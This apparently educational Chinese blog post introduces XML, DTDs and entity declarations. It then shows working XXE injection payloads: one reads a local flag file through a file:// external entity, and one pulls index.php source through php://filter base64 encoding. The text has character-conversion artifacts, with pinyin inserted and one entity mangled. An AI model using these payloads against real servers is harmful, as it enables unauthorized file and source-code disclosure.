XXE(1)
XXE簡(jiǎn)介
XXE:全稱XML External Entity Injection,即XML外部實(shí)體注入漏洞
知識(shí)點(diǎn)
1、XML
2、DTD,這個(gè)是最重要的
簡(jiǎn)介:
(1)內(nèi)部的 DOCTYPE 聲明
(2)外部文檔聲明
假如 DTD 位于 XML 源文件的外部,那么它應(yīng)通過(guò)下面的語(yǔ)法被封裝在一個(gè) DOCTYPE 定義中: <!DOCTYPE 根元素 SYSTEM "文件名"><?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> 這是包含 DTD 的 "note.dtd" 文件: <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>下面的實(shí)體在 XML 中被預(yù)定義: 實(shí)體引用 字符 < < > > & & " " ' '在 DTD 中,XML 元素通過(guò)元素聲明來(lái)進(jìn)行聲明。元素聲明使用下面的語(yǔ)法: <!ELEMENT 元素名稱 類別> 或者 <!ELEMENT 元素名稱 (元素內(nèi)容)>(3)XXE利用重點(diǎn):實(shí)體
(3)-1:簡(jiǎn)介
實(shí)體是用于定義引用普通文本或特殊字符的快捷方式的變量。
實(shí)體引用是對(duì)實(shí)體的引用。
實(shí)體可在內(nèi)部或外部進(jìn)行聲明。
(3)-2:一個(gè)內(nèi)部實(shí)體聲明
語(yǔ)法: <!ENTITY 實(shí)體名稱 "實(shí)體的值">例子: DTD 例子: <!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn">XML 例子: <author>&writer;©right;</author>注釋: 一個(gè)實(shí)體由三部分構(gòu)成: 一個(gè)和號(hào) (&), 一個(gè)實(shí)體名稱, 以及一個(gè)分號(hào) (;)。(3)-3:一個(gè)外部實(shí)體聲明
語(yǔ)法: <!ENTITY 實(shí)體名稱 SYSTEM "URI/URL">例子: DTD 例子: <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">XML 例子: <author>&writer;©right;</author>(3)-4:補(bǔ)充
帶有任何內(nèi)容的元素
通過(guò)類別關(guān)鍵詞 ANY 聲明的元素,可包含任何可解析數(shù)據(jù)的組合:
外部實(shí)體注入舉例
有回顯讀取本地文件
漏洞代碼:
payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ //foo名稱隨意<!ENTITY xxe SYSTEM "file:///F:/flag.txt" > //xxe名稱隨意]> <root> //xml根元素名稱隨意,但必須要有(在當(dāng)前漏洞源碼環(huán)境下) <user>&xxe;</user> //xxe名稱和上面的名稱對(duì)應(yīng),在這里xml中的子元素user和漏洞源碼中的對(duì)應(yīng),不可修改為其它 </root>有些文件中有<、>等實(shí)體,若直接用file讀取會(huì)導(dǎo)致解析錯(cuò)誤,此時(shí)可以利用php://filter將內(nèi)容轉(zhuǎn)換為base64后再讀取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> <root><user>&file;</user> </root>特別注意:
實(shí)體名稱命名不能以數(shù)字開(kāi)頭,例如上面的xxx 使用bp時(shí),需要添加Content-Type: application/xml payload中xml的根元素 xml形式的數(shù)據(jù)傳輸e.g:<user>admin</user>淺顯地了解了xxe,后續(xù)再深入研究。
總結(jié)
- 上一篇: 道士能结婚生孩子吗
- 下一篇: 形容家庭幸福的句子100个